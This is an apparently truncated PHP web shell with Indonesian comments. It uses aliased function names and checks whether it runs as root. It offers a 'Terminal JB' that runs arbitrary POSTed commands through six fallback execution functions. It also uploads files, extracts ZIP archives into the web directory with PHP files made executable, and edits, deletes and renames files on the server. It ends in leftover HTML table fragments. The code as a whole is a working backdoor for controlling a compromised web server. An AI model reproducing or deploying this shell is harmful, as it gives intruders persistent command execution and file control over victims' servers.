$d) $_GET[$c] = y($d);
// Set current directory
$currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
$chd($currentDirectory);
// Check if running as root
$isRoot = (function_exists('posix_getuid') && posix_getuid() === 0) ||
(strpos(php_uname(), 'root') !== false) ||
(function_exists('shell_exec') && trim(shell_exec('whoami')) === 'root');
// ============================================
// ZIP EXTRACTION FUNCTION - LANGSUNG JADI FILE PHP
// ============================================
function extractZipToCurrent($zipFile) {
$zip = new ZipArchive();
$extractCount = 0;
$phpCount = 0;
$errors = [];
$extractedFiles = [];
if ($zip->open($zipFile) === TRUE) {
// Extract all files langsung ke current directory
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
$fileinfo = pathinfo($filename);
// Skip directories
if (substr($filename, -1) == '/') continue;
// Get just the filename without path
$basename = basename($filename);
// Extract the file langsung ke current directory
if ($zip->extractTo('./', $filename)) {
// If file was extracted with path, move it to current directory
if ($filename != $basename) {
$extractedWithPath = './' . $filename;
$newLocation = './' . $basename;
if (file_exists($extractedWithPath)) {
rename($extractedWithPath, $newLocation);
// Clean up empty directories
$dirToRemove = dirname('./' . $filename);
while ($dirToRemove != '.' && is_dir($dirToRemove)) {
rmdir($dirToRemove);
$dirToRemove = dirname($dirToRemove);
}
}
} else {
$newLocation = './' . $basename;
}
$extractCount++;
$extractedFiles[] = $basename;
// If it's a PHP file, set proper permissions
if (isset($fileinfo['extension']) && strtolower($fileinfo['extension']) == 'php') {
@chmod('./' . $basename, 0755);
$phpCount++;
} else {
@chmod('./' . $basename, 0644);
}
} else {
$errors[] = "Failed to extract: " . $filename;
}
}
$zip->close();
return [
'success' => true,
'count' => $extractCount,
'php_count' => $phpCount,
'files' => $extractedFiles,
'errors' => $errors
];
} else {
return ['success' => false, 'error' => 'Failed to open ZIP file'];
}
}
// ============================================
// TERMINAL JB FUNCTION - IMPROVED COMMAND EXECUTION
// ============================================
function executeTerminalJB($command) {
$output = '';
$error = '';
// Cek berbagai metode eksekusi command
if (function_exists('shell_exec')) {
// Method 1: shell_exec
$result = shell_exec($command . ' 2>&1');
if ($result !== null) {
$output = $result;
}
}
elseif (function_exists('exec')) {
// Method 2: exec
exec($command . ' 2>&1', $outputArray, $returnCode);
$output = implode("\n", $outputArray);
}
elseif (function_exists('system')) {
// Method 3: system with output buffering
ob_start();
system($command . ' 2>&1', $returnCode);
$output = ob_get_clean();
}
elseif (function_exists('passthru')) {
// Method 4: passthru with output buffering
ob_start();
passthru($command . ' 2>&1', $returnCode);
$output = ob_get_clean();
}
elseif (function_exists('proc_open')) {
// Method 5: proc_open (paling reliable)
$descriptorspec = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
// Close stdin
fclose($pipes[0]);
// Get output
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
// Close pipes
fclose($pipes[1]);
fclose($pipes[2]);
// Get return code
$returnCode = proc_close($process);
$output = $stdout;
if (!empty($stderr)) {
$error = $stderr;
}
}
}
elseif (function_exists('popen')) {
// Method 6: popen
$handle = popen($command . ' 2>&1', 'r');
if ($handle) {
while (!feof($handle)) {
$output .= fgets($handle);
}
pclose($handle);
}
}
// Jika output kosong tapi ada error, tampilkan error
if (empty(trim($output)) && !empty($error)) {
$output = $error;
}
// Jika masih kosong, beri pesan
if (empty(trim($output))) {
$output = "Command executed but no output returned.\n";
if ($command == 'ls' || $command == 'dir') {
$output = "Directory listing:\n";
$files = scandir(getcwd());
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$output .= $file . "\n";
}
}
}
}
return $output;
}
// ============================================
// REQUEST HANDLER
// ============================================
$viewCommandResult = '';
$alertMessages = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// FILE UPLOAD HANDLER
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
$alertMessages[] = ['type' => 'success', 'message' => 'File ' . $htm($bs($_FILES["fileToUpload"]["name"])) . ' uploaded successfully!'];
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Sorry, there was an error uploading your file.'];
}
}
// ZIP UPLOAD & EXTRACT HANDLER - LANGSUNG JADI FILE PHP
elseif (isset($_FILES['zipToUpload'])) {
$zipFile = $_FILES['zipToUpload']['tmp_name'];
$zipName = $bs($_FILES["zipToUpload"]["name"]);
$zipExt = strtolower(pathinfo($zipName, PATHINFO_EXTENSION));
// Check if it's a valid ZIP file
if ($zipExt != 'zip') {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: File must be a ZIP archive!'];
} else {
// Extract langsung ke current directory
$result = extractZipToCurrent($zipFile);
if ($result['success']) {
$message = "✅ ZIP extracted successfully! " . $result['count'] . " files extracted to current directory.";
if ($result['php_count'] > 0) {
$message .= "
🐘 PHP files detected and activated: " . $result['php_count'] . "";
$message .= "
📄 Files: " . implode(", ", array_slice($result['files'], 0, 5));
if (count($result['files']) > 5) {
$message .= " and " . (count($result['files']) - 5) . " more...";
}
}
if (!empty($result['errors'])) {
$message .= "
⚠️ Warnings: " . implode(", ", $result['errors']);
}
$alertMessages[] = ['type' => 'success', 'message' => $message];
// Refresh the page to show new files
echo '';
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: ' . $result['error']];
}
}
}
// CREATE FOLDER HANDLER
elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$ff = $_POST['folder_name'];
$newFolder = $currentDirectory . '/' . $ff;
if (!file_exists($newFolder)) {
if ($mek($newFolder) !== false) {
$alertMessages[] = ['type' => 'success', 'message' => 'Folder created successfully: ' . $ff];
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to create folder!'];
}
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: Folder already exists!'];
}
}
// CREATE FILE HANDLER
elseif (isset($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if ($fpc($newFile, '') !== false) {
$alertMessages[] = ['type' => 'success', 'message' => 'File created successfully: ' . $fileName];
$fileToView = $newFile;
if (file_exists($fileToView)) {
$fileContent = $fgc($fileToView);
$viewCommandResult = generateEditForm($fileName, $fileContent);
}
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to create file!'];
}
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: File already exists!'];
}
}
// DELETE HANDLER
elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
$result = handleDelete($fileToDelete, $_POST['delete_file']);
$alertMessages[] = $result;
}
// RENAME HANDLER
elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name']) && !empty($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
$result = handleRename($oldName, $newName, $_POST['old_name']);
$alertMessages[] = $result;
}
// TERMINAL JB HANDLER (dulu Standard Command)
elseif (isset($_POST['terminal_jb_cmd'])) {
$command = $_POST['terminal_jb_cmd'];
$output = executeTerminalJB($command);
$viewCommandResult = generateTerminalJBOutput($command, $output);
}
// VIEW FILE HANDLER
elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = $fgc($fileToView);
$viewCommandResult = generateEditForm($_POST['view_file'], $fileContent);
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: File not found!'];
}
}
// EDIT FILE HANDLER
elseif (isset($_POST['edit_file'])) {
$ef = $currentDirectory . '/' . $_POST['edit_file'];
$newContent = $_POST['content'];
if ($fpc($ef, $newContent) !== false) {
$alertMessages[] = ['type' => 'success', 'message' => 'File edited successfully: ' . $_POST['edit_file']];
} else {
$alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to edit file!'];
}
}
}
// ============================================
// HELPER FUNCTIONS
// ============================================
function showLoginPage() {
?>
' . $htm($output) . '
| Folder Name | Size | Modified | Permissions | View | Delete | Rename |
|---|---|---|---|---|---|---|
| ROOT | -- |
| File Name | Size | Modified | Permissions | View/Edit | Delete | Rename |
|---|---|---|---|---|---|---|
| ROOT PHP |
No files or folders found in this directory